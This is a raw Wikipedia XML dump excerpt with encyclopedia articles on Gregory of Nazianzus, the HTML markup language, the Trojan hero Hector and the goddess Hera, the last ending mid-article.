In [[361]], Gregory returned to Nazianzos and was ordained a presbyter (elder or priest). He spent some time in the wilderness with Basil practicing asceticism, but later returned to care for the Christian parishes in Nazianzos. Basil later made him Bishop of Sasima. In [[378]], the Antioch Council asked Gregory to come to Constantinople as bishop, as the preceding bishop had recently died. With the consent of Basil, he agreed. At the time, there were many [[Arianism|Arians]] and [[Apollinarianism|Apollinarians]] in the city, both of which heresies were soon to be denounced in [[381]] at the second [[Ecumenical Council]]. But in [[379]], the night before Easter, a mob of armed heretics burst into Gregory's church during worship services, wounding Gregory and killing another bishop.

== Theology and other works==
In his theology, Gregory advocated the doctrine of the [[Trinity]], including the full divinity of both [[Jesus]] and the [[Holy Spirit]]. He emphasized that Jesus did not cease to be God when he became a man, nor did he lose any of his divine attributes when he took on human nature. Furthermore, Gregory asserted that Christ was fully human, including a full human soul.  He also proclaimed the eternality of the Holy Spirit, saying that the Holy Spirit's actions were somewhat hidden in the [[Old Testament]] but much clearer since the ascension of Jesus into Heaven and the descent of the Holy Spirit at the feast of Pentecost. Gregory Nazianzus is given the title 'Gregory the Theologian' by Eastern Orthodoxy, a title he shares with [[John the Apostle]], also known as John the Theologian. Although Theologian in this context means more Christological than what would be expected tody. He is widely quoted by Eastern Orthodox theologians and highly regarded as a defender of the Christian faith.

Apart from the several theological discourses, Gregory is also one of the most important early Christian man of letters, a very accomplished orator, perhaps one of the greatest of his time, and also a very prolific poet, having written several poems with theological and moral matter and some with biographical content, about himself and about his friends. 

== Death ==
Following his death, Saint Gregory's body was buried at Nazianzos. His relics were transferred to Constantinople in 950, into the church of the Holy Apostles. Part of the relics were transferred to [[Rome]] at a later date, and on [[27 November]] [[2004]], those relics were returned to [[Istanbul]] by [[Pope John Paul II]] (though the [[Vatican City|Vatican]] retained a small portion of the relics).

==References==
*''St. Gregory of Nazianzus: An Intellectual Biography'' (2000; Nominated for the 2002 Pollock Biography Prize) ISBN 0-88141-222-8 by [[John McGuckin]]

{{start box}}
{{succession box |
  before=[[Demophilus of Constantinople|Demophilus]] or &lt;br&gt;[[Evagrius of Constantinople|Evagrius]]|
  title=[[List of Constantinople patriarchs|Bishop of Constantinople]]&lt;br&gt;Disputed by&lt;br&gt;[[Maximus of Constantinople|Maximus]]|
  years=[[379]]&amp;ndash;[[381]] |
  after=[[Patriarch Nectarius of Constantinople|Nectarius]]}}
{{end box}}

[[Category:329 births]]
[[Category:389 deaths]]
[[category:Church Fathers]]
[[Category:Saints]]
[[Category:Ancient Roman Christianity]]
[[Category:Doctors of the Church]]
[[Category:Eastern Orthodox bishops]]

[[cs:Řehoř z Nazianzu]]
[[de:Gregor von Nazianz]]
[[fr:Grégoire de Nazianze]]
[[ko:그레고리우스 나지안스]]
[[it:Gregorio Nazianzeno]]
[[la:Gregorius Nazianzenus]]
[[hu:Nazianzoszi Szent Gergely]]
[[nl:Gregorius van Nazianze]]
[[fi:Gregorios Nazianzilainen]]
[[ja:ナジアンゾスのグレゴリオス]]
[[zh:額我略·納西盎]]</text>
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      <comment>#REDIRECT [[Wikipedia:How_to_edit_a_page]]</comment>
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      <comment>#REDIRECT [[Wikipedia:Explore]]</comment>
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      <minor />
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      <text xml:space="preserve">#REDIRECT [[Hold more stubbornly at least]]
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      <text xml:space="preserve">#REDIRECT [[Human-computer interaction]]
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  <page>
    <title>HTML</title>
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      <id>41789924</id>
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        <id>335519</id>
      </contributor>
      <comment>/* See also */ fix redirect</comment>
      <text xml:space="preserve">[[Image:Html-source-code3.png|thumb|309px|A piece of HTML code with [[syntax highlighting]]]]
In computing, ''''''HyperText Markup Language '''''' ('''HTML''') is a [[markup language]] designed for the creation of [[web page]]s with [[hypertext]] and other information to be displayed in a [[web browser]]. HTML is used to structure information &amp;mdash; denoting certain text as headings, paragraphs, lists and so on &amp;mdash; and can be used to describe, to some degree, the appearance and [[semantics]] of a document.

Originally defined by [[Tim Berners-Lee]] and further developed by the [[IETF]] with a simplified [[SGML]] syntax, HTML is now an international standard ([[International Organization for Standardization|ISO]]/[[International Electrotechnical Commission|IEC]] 15445:2000). Later HTML specifications are maintained by the [[World Wide Web Consortium]] (W3C).

Early versions of HTML were defined with looser syntactic rules which helped its adoption by those unfamiliar with web publishing. Web browsers commonly made assumptions about intent and proceeded with rendering of the page. Over time, the trend in the official standards has been to create an increasingly strict language syntax; however, browsers still continue to render pages that are far from valid HTML.

[[XHTML]], which applies the stricter rules of [[XML]] to HTML to make it easier to process and maintain, is the W3C's successor to HTML. As such, many consider XHTML to be the &quot;current version&quot; of HTML, but it is a separate, parallel standard; the W3C continues to recommend the use of either XHTML 1.1, XHTML 1.0, or HTML 4.01 for web publishing.

==Version history of the standard==
{{Html series}}
* [http://www.w3.org/MarkUp/draft-ietf-iiir-html-01.txt Hypertext Markup Language (First Version)], published [[June 1993]] as an [[Internet Engineering Task Force]] (IETF) working draft (not standard).
* [http://www.ietf.org/rfc/rfc1866.txt HTML 2.0], published [[November 1995]] as IETF [[Request for Comments|RFC]] 1866, and declared obsolete/historic by RFC 2854 in [[June 2000]].
* [http://www.w3.org/TR/REC-html32 HTML 3.2], published [[January 14]], [[1997]] as a W3C Recommendation.
* [http://www.w3.org/TR/REC-html40-971218/ HTML 4.0], published [[December 18]], [[1997]] as a W3C Recommendation.
* [http://www.w3.org/TR/html401 HTML 4.01], published [[December 24]], [[1999]] as a W3C Recommendation.
* [http://www.purl.org/NET/ISO+IEC.15445/15445.html ISO/IEC 15445:2000] (&quot;[[International Organization for Standardization|ISO]] HTML&quot;, based on HTML 4.01 Strict), published [[May 15]], [[2000]] as an ISO/IEC international standard.
* [http://www.w3.org/TR/xhtml1/ XHTML 1.0], published [[January 26]], [[2000]] as a W3C Recommendation, later revised and republished [[August 1]], [[2002]].
* [http://www.w3.org/TR/xhtml11/ XHTML 1.1], published [[May 31]], [[2001]]
* ([http://www.w3.org/TR/xhtml2/ XHTML 2.0], W3C Working Draft)

There is no official standard HTML 1.0 specification because there were multiple informal HTML standards at the time. However, some people consider the initial edition provided by Tim Berners-Lee to be the definitive HTML 1.0. That version did not include an IMG element type. Work on a successor for HTML, then called &quot;HTML+&quot;, began in late [[1993]], designed originally to be &quot;A superset of HTML&amp;hellip;which will allow a gradual rollover from the previous format of HTML&quot;. The first formal specification was therefore given the version number 2.0 in order to distinguish it from these unofficial &quot;standards&quot;. Work on HTML+ continued, but it never became a standard.

The HTML 3.0 standard was proposed by the newly formed [[W3C]] in [[March 1995]], and provided many new capabilities such as support for tables, text flow around figures, and the display of complex math elements. Even though it was designed to be compatible with HTML 2.0, it was too complex at the time to be implemented, and when the draft expired in [[September 1995]] work in this direction was discontinued due to lack of browser support. HTML 3.1 was never officially proposed, and the next standard proposal was HTML 3.2 (code-named &quot;Wilbur&quot;), which dropped the majority of the new features in HTML 3.0 and instead adopted many browser-specific element types and attributes which had been created for the [[Netscape Navigator|Netscape]] and [[Mosaic (web browser)|Mosaic]] web browsers. Math support as proposed by HTML 3.0 finally came about years later with a different standard, [[MathML]].

HTML 4.0 likewise adopted many browser-specific element types and attributes, but at the same time began to try to &quot;clean up&quot; the standard by marking some of them as [[deprecation|deprecated]], and suggesting they not be used.

Minor editorial revisions to the HTML 4.0 specification were published as HTML 4.01.

The most common extension for files containing HTML is &lt;tt&gt;.html&lt;/tt&gt;, however, older operating systems, such as [[DOS]], limit file extensions to three letters, so a &lt;tt&gt;.htm&lt;/tt&gt; extension is also used. Although perhaps less common now, the shorter form is still widely supported by current software.

==Markup element types==
Below are the kinds of [[HTML element|markup element types in HTML]].
* '''Structural''' markup. Describes the purpose of text. For example,
::&lt;code&gt;&lt;nowiki&gt;&lt;h2&gt;Golf&lt;/h2&gt;&lt;/nowiki&gt;&lt;/code&gt;
:directs the browser to render &quot;Golf&quot; as a second-level heading, similar to &quot;Markup element types&quot; at the start of this section. Structural markup does not denote any specific rendering, but most web browsers have standardised on how elements should be formatted. For example, by default, headings like these will appear in large, bold text. Further styling should be done with [[Cascading Style Sheets]] (CSS).
* '''Presentational''' markup. Describes the appearance of the text, regardless of its function. For example,
::&lt;code&gt;&lt;nowiki&gt;&lt;b&gt;boldface&lt;/b&gt;&lt;/nowiki&gt;&lt;/code&gt;
:will render &quot;boldface&quot; in '''bold''' text. In the majority of cases, using presentational markup is inappropriate, and presentation should be controlled by using CSS. In the case of both &lt;code&gt;&lt;nowiki&gt;&lt;b&gt;bold&lt;/b&gt;&lt;/nowiki&gt;&lt;/code&gt; and &lt;code&gt;&lt;nowiki&gt;&lt;i&gt;italic&lt;/i&gt;&lt;/nowiki&gt;&lt;/code&gt; there are elements which usually have an equivalent visual rendering but are more semantic in nature, namely &lt;code&gt;&lt;nowiki&gt;&lt;strong&gt;strong emphasis&lt;/strong&gt;&lt;/nowiki&gt;&lt;/code&gt; and &lt;code&gt;&lt;nowiki&gt;&lt;em&gt;emphasis&lt;/em&gt;&lt;/nowiki&gt;&lt;/code&gt; respectively. It is easier to see how an aural user agent should interpret the latter two elements.
* '''Hypertext''' markup. Links parts of the document to other documents. For example,
::&lt;code&gt;&lt;nowiki&gt;&lt;a href=&quot;http://wikipedia.org/&quot;&gt;Wikipedia&lt;/a&gt;&lt;/nowiki&gt;&lt;/code&gt;
:will render the word [http://wikipedia.org Wikipedia] as a [[hyperlink]] [[URL]].

==The Document Type Definition==
In order to specify which version of the HTML standard they conform to, all HTML documents should start with a [[Document Type Declaration]] (informally, a &quot;DOCTYPE&quot;), which makes reference to a [[Document Type Definition]] (DTD). For example:

 &lt;nowiki&gt;&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot;
                      &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;&lt;/nowiki&gt;

This declaration asserts that the document conforms to the Strict DTD of HTML 4.01, which is purely structural, leaving formatting to Cascading Style Sheets.  In some cases, the presence or absence of an appropriate DTD may influence how a web browser will display the page.

In addition to the Strict DTD, HTML 4.01 provides Transitional and Frameset DTDs.  The Transitional DTD was intended to gradually phase in the changes made in the Strict DTD, while the Frameset DTD was intended for those documents which contained frames.

==Separation of style and content==
Efforts of the web development community have led to a new thinking in the way a web document should be written; XHTML epitomizes this effort. Standards stress using markup which suggests the structure of the document, like headings, paragraphs, block quoted text, and tables, instead of using markup which is written for visual purposes only, like &amp;lt;font&amp;gt;, &amp;lt;b&amp;gt; (bold), and &amp;lt;i&amp;gt; (italics). Some of these elements are not permitted in certain varieties of HTML, like HTML 4.01 Strict. CSS provides a way to separate the HTML structure from the content's presentation, by keeping all code dealing with presentation defined in a CSS file. See [[separation of style and content]].

==Publishing HTML with HTTP==
The [[World Wide Web]] is primarily composed of HTML documents transmitted from a [[web server]] to a web browser using the [[HyperText Transfer Protocol]] (HTTP). However, HTTP can be used to serve images, sound and other content in addition to HTML. To allow the web browser to know how to handle the document it received, an indication of the [[file format]] of the document must be transmitted along with the document. This vital [[metadata]] includes the [[MIME]] type (&lt;tt&gt;text/html&lt;/tt&gt; for HTML 4.01 and earlier, &lt;tt&gt;application/xhtml+xml&lt;/tt&gt; for XHTML 1.0 and later) and the character encoding (see [[Character encodings in HTML]]).

In modern browsers, the MIME type that is sent with the HTML document affects how the document is interpreted. A document sent with an XHTML MIME type, or ''served as application/xhtml+xml'', is expected to be [[XML#Well-formed documents|well-formed]] XML and a syntax error may cause the browser to fail to render the document. The exactly same document sent with a HTML MIME type, or ''served as text/html'', might get displayed since the web browser are more lenient with HTML.

If the MIME type is not recognized as HTML, the web browser should not attempt to render the document as HTML, even if the document is prefaced with a correct Document Type Declaration. Nevertheless, some web browsers do examine the contents or URL of the document and attempt to infer the file type. Such behaviour is discouraged due to security problems; even the most notorious offender, [[Internet Explorer]], has mostly abandoned the practice in recent versions (as of 2005).

==HTML Email==
Some graphical [[e-mail]] clients allow the use of a (often ill-defined) subset of HTML as a pure display language. Many of these clients include a [[GUI]] HTML editor for composing emails and a rendering engine for displaying them once received. Use of HTML in email is quite controversial due to a variety of issues. The main benefit is the ability to decorate an email with presentational attributes (bold headings etc). However, there are a number of disadvantages, which include:

* the recipient may not have an email client that can display HTML
* the email has larger size because lots of formatting will be much larger than the plain text equivalent. This issue is made slightly worse by the fact that, for compatibility, most clients send a plaintext version as well. 
* overuse of formatting (there was at one stage a craze for making [[letterhead]]s using HTML and sending them as part of every e-mail) 
* potential security issues of deluding the recipient to accept an email as being from an authoritative source (such as a bank) when this is not the case; this is related to [[phishing]] scams.
* potential security issues of simply rendering a complex format like HTML.

For these reasons many [[Electronic mailing list|mailing list]]s deliberately block HTML email either stripping out the HTML part to just leave the plain text part or rejecting the entire message.

== HTML as a hypertext format ==
HTML is the basis of a comparatively weak hypertext implementation. Earlier hypertext systems had features such as [[typed link]]s, [[transclusion]] and [[source tracking]]. Another feature lacking today are [[fat link]]s.

Even some hypertext features that were in early versions of HTML have been ignored by most popular webbrowsers until now, such as the [[link]] element and editable webpages.

Sometimes web services or browser manufacturers remedy these shortcomings. For instance, members of the modern social software landscape such as the [[wiki web]] and [[nuke]]s allow surfers to edit the web pages they visit.

See also: [http://www.useit.com/alertbox/20050103.html Jacob Nielsen on advanced hypertext for the World Wide Web].

==See also==
*[[Alt attribute]]
*[[Character encodings in HTML]]
*[[Cascading Style Sheets]]
*[[Dynamic HTML]]
*[[HTML editor]]
*[[HTML element]]
*[[HTML reference]]
*[[HTML scripting]]
*[[Parsing]]
*[[Tim Berners-Lee]]
*[[Unicode and HTML]]
*[[Web colors]]
*[[List of document markup languages]]
*[[Comparison of document markup languages]]
*[[Comparison of layout engines (HTML)]]
*[[XHTML]]
*[[Wikipedia:WikiProject Usability/HTML]]

==External links==
{{wikibooks}}
===W3C Specifications===
*[http://www.w3.org/TR/html401/ HTML 4.01 Specification]
*[http://www.w3.org/TR/xhtml1/ XHTML 1.0 Specification]
*[http://www.w3.org/TR/xhtml-media-types/ XHTML Media Types]

===Validators===
*[http://validator.w3.org/ W3C's Markup Validator]
*[http://www.htmlhelp.com/tools/validator/ WDG HTML Validator]
*[http://uitest.com/en/analysis/ Validators and checkers] ([http://uitest.com/en/check/ Site Check])

===Selected Tutorials/Guides===
*[http://www.2kweb.net/html-tutorial/ Beginners HTML Tutorial]
*[http://www.yourhtmlsource.com/ HTMLSource: HTML Tutorials]
*[http://htmldog.com/ HTML Dog]
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{{mergefrom|Hektor's death}}
[[Image:Hector brought back to Troy.jpg|thumb|Hector brought back to Troy. From Roman sarcophagus.]]
In [[Greek mythology]], '''Hector''' ( &amp;#x1F19;&amp;kappa;&amp;tau;&amp;omega;&amp;rho;, &quot;holding fast&quot;), or '''Hektor''', was a [[Troy|Trojan]] prince and one of the greatest fighters in the [[Trojan War]], equal to [[Ajax the great|Ajax]] and surpassed only by [[Achilles]]. 

He was the son of [[Priam]] and [[Hecuba]], his younger brother being the less brave [[Paris of Troy|Paris]]. With his wife, [[Andromache]], he fathered [[Astyanax]]. He had a horse named [[Lampos]] and friends named [[Misenus]] and [[Poludamas]]. His charioteer was [[Cebriones]], his half-brother.

In the ''[[Iliad]]'', [[Homer]] calls him &quot;breaker of horses,&quot; largely to maintain the meter of his lines and because Troy in general was known for horse raising. Another [[epithets in Homer|epithet]] applied to him is &quot;of the flashing helmet&quot;.

Hector provides a stark contrast for Achilles, who was from first to last a man of war. Hector represents Troy and what it stood for. Some modern scholars have even suggested that he, not Achilles, is the true hero of the ''Iliad''. Hector was fighting not for personal glory, but in defense of his homeland. His rebuke to Poludamas, &quot;Fight for your country - that is the first and only omen&quot; became a proverb to patriotic [[Greeks]]. Through him we can see glimpses of what life in Troy and elsewhere in the [[Bronze Age]] Mediterranean civilization depicted by Homer might have been like in more peaceful times. The scene where he bids farewell to his wife [[Andromache]] and his infant son is one of the more moving scenes in the ''Iliad''.  However, he still shares some of the same faults as Achilles, and does have a great amount of pride that proves to be disastrous for the Trojans.

During the Trojan War, Hector killed [[Protesilaus]] and was wounded by Ajax. In the portion of the war described in the ''Iliad'', he fights with many of the Greek warriors and usually (but not always) succeeds in killing or wounding his opponent. When, with the assistance of [[Apollo]], he kills [[Patroclus]] and throws the entire Greek force into disarray, it seems that the war has reached a turning point. 

Nonetheless, Hector's personal fate, as decreed by [[Zeus]] early on in the story, is never in doubt. Achilles, raging over the death of Patroclus, kills him and drags his body around the walls of Troy. Ultimately, with the assistance of the god [[Hermes]], Priam convinces Achilles to permit him to allow Hector his funeral rights.  The final passage in the ''Iliad'' is his funeral, after which the doom of Troy is just a matter of time. In the final sack of Troy, as described in Book II of the ''[[Aeneid]]'', his father and many of his brothers are killed, his son is hurled from the walls in fear that he would avenge Hector, and his wife is carried off by Achilles' son [[Neoptolemus]] to live as a slave.

[[Homer]], [[Iliad]]; [[Apollodorus]], [[Bibliotheke]] III, xii, 5-6; [[Apollodorus]], [[Epitome]] IV, 2.

In the [[Middle Ages]] Hector's legend was held so highly that [[Jean de Longuyon]] included him as one of the [[Nine Worthies]]. In [[the Divine Comedy]] [[Dante]] sees the shade of Hector with the other noble Roman and Trojan personages in the portion of [[Limbo]] reserved for the most virtuous pagans.

{{commons|Hector}}

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    <title>Hera</title>
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      <text xml:space="preserve">:''This article is about the Greek goddess. For the asteroid, see [[103 Hera]], and also [[1 Ceres]], which briefly bore the name Hera. For the [[particle accelerator]] see [[Hadron Elektron Ring Anlage]]. For the missile system, see [[Hera missile]].''
{{Greek myth (Olympian)}}
In the [[Twelve Olympians|Olympian pantheon]] of classical [[Greek Mythology]], '''Hêra''' ([[Wikipedia:Manual of Style (pronunciation)/IPA vs. other pronunciation symbols#Chart|World Book]] ''«HIHR uh»'') ([[Greek language|Greek]] {{polytonic|&amp;#7981;&amp;rho;&amp;alpha;}} or {{polytonic|&amp;#7981;&amp;rho;&amp;eta;}}) was the wife and sister of [[Zeus]]. She also presided as [[goddess]] of marriage, the patriarchal bond of her own subordination. (Slater 1968)

Hera is portrayed as being majestic and solemn, often enthroned and crowned with the ''polos'', the high cylindrical crown worn by several of the [[Great Goddess]]es. In her hand she may bear the [[pomegranate]], emblem of fertile blood and death and a substitute for the narcotic capsule of the opium poppy (Ruck and Staples 1994). &quot;Nevertheless, there are memories of an earlier, aniconic representation, as a pillar in Argos and as a plank in Samos&quot; (Burkert 1985 p.131). 

In [[Roman mythology]], the consort of [[Jupiter (god)|Jupiter]] (Zeus) was [[Juno (mythology)|Juno]]. 

==Etymology and Pre-History==
Unlike some Greek gods, such as [[Zeus]] and [[Poseidon]], Hera's name is not analyzable as a Greek or [[Indo-European]] word.  She therefore seems to be a survival of a pre-Greek &quot;great goddess&quot; figure - perhaps one of the powerful female divinities of the [[Minoan civilization|Minoan]] pantheon, or of some unidentified pre-Greek (&quot;[[Pelasgian]]&quot;) people.  

Hera's importance in the early archaic period is attested by the large building projects undertaken in her honor.  The temples of Hera in the two main centers of her [[cult (religion)|cult]], at [[Samos Island|Samos]] and in the [[Argolid]], were the very earliest monumental [[Greek temple]]s constructed, in the [[8th century BC]].

At Olympia, her seated cult figure was older than the warrior figure of Zeus that accompanied it. Homer expressed her relationship with Zeus delicately in The [[Iliad]], in which she declares to Zeus, &quot;I am [[Cronus]]' eldest daughter, and am honourable not on this ground only, but also because I am your wife, and you are king of the gods.&quot;[http://www.gutenberg.org/etext/2199] Though Zeus is often called ''Zeus Heraios'' (&quot;Zeus, consort of Hera&quot;), Homer's treatment of Hera is less than respectful, and in late anecdotal versions of the myths (see below) she appeared to spend most of her time plotting revenge on the [[nymph]]s seduced by her Consort, for Hera upheld all the old right rules of Hellene society and sorority.

 [[Image:Hera.jpg|thumb|right|Greek marble statue of Hera made in the 5th century B.C.]]

== [[Cult (religion)|Cult]] ==
Hera was especially worshipped, as &quot;Argive Hera&quot; (''Hera  Argeia''), at her sanctuary that stood between the former Mycenaean city-states of [[Argos]] and [[Mycenae]], where the festivals in her honor called ''[[Heraia]]''  were celebrated.  &quot;The three cities I love best,&quot; the ox-eyed Queen of Heaven declares (''Iliad'', book iv) &quot;are Argos, Sparta and Mycenae of the broad streets.&quot; Her other main center of cult was at [[Samos Island|Samos]]. There were also temples to Hera in [[Olympia, Greece|Olympia]], [[Corinth, Greece|Corinth]], [[Tiryns]], [[Perachora]]  and the sacred island of [[Delos]]. In [[Magna Graecia]], the temple long called the Temple of Poseidon among the group at [[Paestum]] was identified in the 1950s as a second temple there of Hera.

Greek [[altar]]s of Classical times were always under the open sky. Hera may have been the first to whom an enclosed roofed temple sanctuary was dedicated, at Samos about [[800 BC]]. (It was replaced later by the [[Heraion]], one of the largest Greek temples anywhere.) Earlier sanctuaries, whose dedication is less secure, were of the Mycenaean type called &quot;house sanctuaries&quot;. Samos excavations have revealed votive offerings, many of them late 8th and 7th century, which reveal that Hera at Samos was not merely a local Greek goddess of the [[Aegean_civilization|Aegean]]: the museum there contains figures of gods and suppliants and other votive offerings from [[Armenia]], [[Babylon]], [[Iran]], [[Assyria]], [[Egypt]], testimony to the reputation which this sanctuary of Hera enjoyed and to the large influx of pilgrims&amp;mdash; and a general reminder to us that Greek myths did not evolve in a cultural vacuum (Burkert 1998).

In [[Euboea]] the festival of the [[Daedalus|Great Daedala]], sacred to Hera, was celebrated on a sixty-year cycle. 

In Hellenistic imagery, Hera's wagon was pulled by peacocks, birds not known to Greeks before the conquests of [[Alexander the Great|Alexander]]: Alexander's tutor, [[Aristotle]], refers to it as &quot;the Persian bird.&quot; The peacock motif                                                                                                                            was revived in the Renaissance iconography that unified Hera and Juno, and which European painters have kept familiar to us (Seznec 1953). A bird that had been associated with Hera on an archaic level, where most of the Aegean goddesses were associated with &quot;their&quot; bird, was the [[cuckoo]], which appears in mythic fragments concerning the first wooing of a virginal Hera by Zeus.   

Her archaic association was primarily with cattle, as a Cow Goddess, who was especially venerated in &quot;cattle-rich&quot; [[Euboea]]. Her familiar [[epithets in Homer|Homeric epithet]] ''boôpis'', is always translated &quot;cow-eyed&quot;, for, like the Greeks of Classical times, we reject its other natural translation &quot;cow-faced&quot; or at least &quot;of cow aspect&quot;. A cow-headed Hera, like a [[Minotaur]] would make a dark demon of fear. But on Cyprus, very early archaeological sites contain bull skulls that have been adapted for use as masks (see [[Bull (mythology)]])&lt;!--&quot;and the crow&quot;?--&gt;. 

The pomegranate, an ancient emblem of the Great Goddess (see [[Pomegranate]]), remained an emblem of Hera: many of the votive pomegranates and [[Opium|poppy capsule]]s recovered at Samos are made of ivory, which survives burial better than the wooden ones that must have been more common. Like all goddesses, Hera may be displayed wearing a diadem and be veiled.

== Hera and children ==
Hera presides over the right arrangements of the marriage and is the archetype of the union in the marriage bed, but she is not notable as a mother. The legitimate offspring of her union with Zeus is [[Ares]], [[Hebe]] (the goddess of youth), [[Eris]] (the goddess of discord) and [[Eileithyia]] (goddess of childbirth). Hera was jealous of Zeus' giving birth to [[Athena]] without recourse to her (actually with [[Metis (mythology)|Metis]]), so she gave birth to [[Hephaestus]] without him.  (An alternate version discounts this and says Zeus and Hera were both parents of Hephaestus)   Zeus and/or Hera herself were then disgusted with Hephaestus' ugliness and threw him from [[Mount Olympus]].  As another alternative version, Hera gave birth to all of the children usually accredited to her and Zeus together, alone by beating her hand on the Earth, a solemnizing action for the Greeks, or by eating [[lettuce]]&lt;!--a reference to a cult practice is needed for this--&gt;.

Hephaestus gained revenge against Hera for rejecting him by making her a magical throne which, when she sat on it, didn't allow her to leave it.  The other gods begged Hephaestus to return to Olympus to let her go but he repeatedly refused.  [[Dionysus]] got him drunk and took him back to Olympus on the back of a mule.  Hephaestus released Hera after being given [[Aphrodite]] as his wife.

== Hera the nemesis of Heracles ==
Hera was the enemy of Heracles, the hero who, more than even [[Perseus]], [[Cadmus]] or [[Theseus]], introduced the Olympian ways in Greece (Ruck and Staples 1994). When [[Alcmene]] was pregnant with [[Hercules|Heracles]], Hera tried to prevent the birth from occurring.  She was foiled by [[Galanthis]], her servant, who told Hera that she had already delivered the baby.  Hera turned her into a [[weasel]].

While Heracles was still an infant, Hera sent two [[Serpent (symbolism)|serpents]], to kill him as   he lay in his cot, the mythographers interpreted the event. Heracles throttled a single snake in each hand and was found by his nurse playing with their limp bodies as if they were child's toys. The anecdote is built upon a representation of the hero gripping a serpent in each hand, precisely as the familiar Minoan snake-handling goddesses had once done.

One account of the origin of the [[Milky Way]] is that Zeus had tricked Hera into nursing the infant Heracles: discovering who he was, she had pulled him from her breast, and a spurt of her milk formed the smear across the sky that can be seen to this day. 

==== The Twelve Labors ====
Hera assigned Hercules to labor for King [[Eurystheus]] at Mycenae. She attempted to make almost each of Hercules' twelve labors more difficult.

When he fought the [[Lernaean Hydra]], she sent a crab to bite at his feet in the hopes of distracting him.  To annoy Hercules after he took the cattle of [[Geryon]], Hera sent a gadfly to bite the cattle, irritate them and scatter them. Hera then sent a flood which raised the water level of a river so much Heracles could not ford the river with the cattle. He piled stones into the river to make the water shallower. When he finally reached the court of [[Eurystheus]], the cattle were sacrificed to Hera.

Eurystheus also wanted to sacrifice [[Cretan Bull]] to Hera, who hated Heracles.  She refused the sacrifice because it reflected glory on Heracles.  The bull was released and wandered to Marathon, becoming known as the [[Marathonian Bull]].

== Hera's jealousies ==
=== [[Echo (mythology)|Echo]] ===
For a time, a [[nymph]] named [[Echo (mythology)|Echo]] had the job of distracting Hera from Zeus' affairs by incessantly talking.  When Hera discovered the deception, she cursed Echo to only speak the words of others (hence our modern word &quot;echo&quot;).

=== [[Leto]] and [[Artemis]]/[[Apollo (god)|Apollo]] ===
When Hera discovered that [[Leto]] was pregnant and that Hera's husband, Zeus, was the father, she banned Leto from giving birth on &quot;terra-firma&quot;, or the mainland, or any island at sea.  She found the floating island of [[Delos]], which was neither mainland nor a real island and gave birth there.  The island was surrounded by swans.  As a gesture of gratitude, Delos was secured with four pillars.  The island later became sacred to [[Apollo]].  Alternatively, Hera kidnapped [[Ilithyia]], the goddess of childbirth, to prevent Leto from going into labor.  The other gods forced Hera to let her go.  Either way, [[Artemis]] was born first and then assisted with the birth of Apollo.  Another version states that Artemis was born one day before Apollo, on the island of [[Ortygia]] and that she helped Leto cross the sea to Delos the next day to give birth to Apollo.

=== [[Callisto (mythology)|Callisto]]/[[Arcas]] ===
Hera also figures in the myth of [[Callisto (mythology)|Callisto]] and [[Arcas]].

A follower of [[Artemis]], Callisto took a [[vow]] to remain a [[virgin]]. But [[Zeus]] fell in love with her and disguised himself as [[Apollo (god)|Apollo]] in order to lure her into his embrace. Hera then turned Callisto into a bear out of revenge.  Later, Callisto's son with Zeus, [[Arcas]], nearly killed her in a hunt and Zeus placed them up in the clouds in the beautiful An alternate version:  One of [[Artemis]]' companions, Callisto lost her virginity to Zeus, who had come disguised as Artemis.  Enraged, Artemis changed her into a bear.  Callisto's son, Arcas, nearly killed his mother while hunting, but Zeus or Artemis stopped him and placed them both in the sky as [[Ursa Major]] and [[Ursa Minor]].

Another alternate version:  Artemis killed Callisto in bear form, deliberately.

Hera was not pleased with the placement of Callisto and Arcas in the sky, so she asked her nurse, [[Tethys (titan)|Tethys]], to help.  Tethys, a marine goddess, cursed the constellations to forever circle the sky and never drop below the horizon, hence explaining why they are circumpolar.

=== [[Semele]]/[[Dionysus]] ===
[[Dionysus]] was a son of Zeus by a mortal woman.  A jealous Hera again attempted to kill the child, this time by sending Titans to rip Dionysus to pieces after luring the baby with toys. Though Zeus drove the Titans away with his thunderbolts but only after the Titans ate everything but the heart, which was saved, variously, by [[Athena]], [[Rhea (mythology)|Rhea]], or [[Demeter]]. Zeus used the heart to recreate Dionysus and implant him in the womb of [[Semele]], hence he was again &quot;the twice-born&quot;. Sometimes it was said that he gave Semele the heart to eat to impregnate her.

See also [[Dionysus#Birth|Dionysus' birth]] for other variations.


=== [[Io (mythology)|Io]] ===
Hera almost caught Zeus with a mistress named [[Io (mythology)|Io]], a fate avoided by Zeus turning Io into a beautiful white heifer. However, Hera was not completely fooled and demanded Zeus give her the heifer as a present. 

Once Io was given to Hera, she placed her in the charge of Argus to keep her separated from Zeus. Zeus then commanded Hermes to kill [[Argus]], which he did by lulling all one-hundred eyes to sleep. Hera sent a gadfly to sting Io as she wandered the earth.

Alternate version: Io was transformed back into a nymph by Hera in Egypt. The Egyptians saw her, and worshipped her as a goddess and her former form, the cow.

=== [[Lamia (mythology)|Lamia]] ===
[[Lamia (mythology)|Lamia]] was a queen of [[Libya]], whom Zeus loved.  Hera turned her into a monster and murdered their children. Or, alternately, she killed Lamia's children and the grief turned her into a monster.  Lamia was cursed with the inability to close her eyes so that she would always obsess over the image of her dead children.  Zeus gave her the gift to be able to take her eyes out to rest, and then put them back in.  Lamia was envious of other mothers and ate their children.

== Other Stories Involving Hera ==

=== [[Cydippe]] ===
[[Cydippe]], a priestess of Hera, was on her way to a festival in the goddess' honor.  The oxen which was to pull her cart were overdue and her sons, [[Biton]] and [[Cleobis]] pulled the cart the entire way (45 stadia, 8 kilometers).  Cydippe was impressed with their devotion to her and her goddess and asked Hera to give her children the best gift a god could give a person.  Hera ordained that the brothers would die in their sleep.

This honor bestowed upon the children was later used by Solon as a proof while trying to convince Croesus that it is impossible to judge a person's happiness until they have died a fruitful death after a joyous life. (according to Herodotus' History book 1.)

=== [[Tiresias]] ===
